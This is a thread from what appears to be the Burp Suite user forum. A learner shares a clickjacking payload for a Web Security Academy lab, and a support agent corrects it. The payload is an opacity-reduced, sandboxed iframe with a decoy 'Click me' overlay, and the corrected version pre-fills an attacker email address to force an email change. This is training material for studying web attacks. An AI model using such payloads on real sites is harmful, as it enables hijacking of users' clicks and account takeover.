Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Clickjacking all apprentice lab

Yan | Last updated: Jul 21, 2022 01:10PM UTC

Please Team could you see any problems with my frame script as I tried to solve all three labs and it is not working. One example below for the third lab: frame buster script <style> iframe { position:relative; width:700px; height: 500px; opacity: 0.6; z-index: 2; } div { position:absolute; top:450px; left:80px; z-index: 1; } </style> <div>Click me</div> <iframe sandbox="allow-forms" src="https://0a65005c049df3d3c082592000760046.web-security-academy.net/my-account"></iframe>

Ben, PortSwigger Agent | Last updated: Jul 22, 2022 08:15AM UTC

Hi Yan, What do you see when you click the 'View exploit' button in the Exploit Server? It looks like you are using an incorrect 'src' URL which should, instead, be something similar to the following (note that you need to retain the email parameter): src="https://0a65005c049df3d3c082592000760046.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe> Using the 'View exploit' functionality should allow you to see what you have configured so you can fine tune your attack to make sure that you are both looking at the correct page and have the elements lined up correctly.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.